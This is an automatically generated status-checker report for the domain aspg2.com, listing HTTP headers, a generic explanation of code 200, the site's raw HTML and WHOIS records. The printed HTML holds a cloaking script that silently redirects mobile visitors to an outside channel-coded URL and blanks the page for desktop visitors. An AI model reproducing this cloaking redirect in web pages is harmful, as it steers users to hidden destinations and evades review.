check web redirect url status code checker

Check server response of

Server response
NS records
Whois domain
Response headers
Request headers
Raw HTML code
200 OK - aspg2.com
HTTP Status: 200
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Server: nginx
Date: Fri, 02 May 2025 06:06:48 GMT
Content-Type: text/html
Content-Length: 1025
Last-Modified: Tue, 29 Apr 2025 18:38:35 GMT
Connection: keep-alive
Vary: Accept-Encoding
ETag: "68111cab-401"
Accept-Ranges: bytes

HTTP Code 200 OK

200 status code is a standard successful HTTP server response. It means that the client’s request (e.g., from a browser) was successfully processed, and the server is delivering the requested data.

When is Code 200 used?

  • When loading a web page
  • When successfully receiving an API response
  • When processing a form or another HTTP request

What does Code 200 mean for the user?

The user receives content without errors, and the page or application functions properly. If Code 200 is accompanied by data, the browser or program processes and displays it to the user.

GET / HTTP/1.1
Host: aspg2.com
Accept: */*
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <script>
        // 立即执行设备检测（无需等待页面加载）
        (function() {
            var mobileRegex = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i;
            var isMobile = mobileRegex.test(navigator.userAgent);
            
            // 移动端：静默跳转（无历史记录）
            if (isMobile) {
                window.location.replace('https://cmzb.diaoshi.org/1.html?channelCode=cml02847'); // 替换为移动端URL
            } 
            // PC端：清除页面内容并终止加载
            else {
                document.documentElement.style.display = 'none';
                document.open();
                document.close();
                if (document.execCommand) {
                    document.execCommand('Stop');
                }
                window.stop();
            }
        })();
    </script>
</head>
<!-- PC端永远不会看到body内容 -->
<body>
</body>
</html>

Whois info of domain

Domain Name: ASPG2.COM
Registry Domain ID: 2900788554_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.55hl.com
Registrar URL: http://www.55hl.com
Updated Date: 2025-04-28T17:12:48Z
Creation Date: 2024-07-20T07:45:46Z
Registry Expiry Date: 2025-07-20T07:45:46Z
Registrar: Jiangsu Bangning Science & technology Co. Ltd.
Registrar IANA ID: 1469
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +86.02586883421
Domain Status: ok https://icann.org/epp#ok
Name Server: NS1.DNSIP.COM
Name Server: NS2.DNSIP.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2025-05-02T06:06:42Z <<<
For more information on Whois status codes, please visit https://icann.org/epp
NOTICE: The expiration date displayed in this record is the date the
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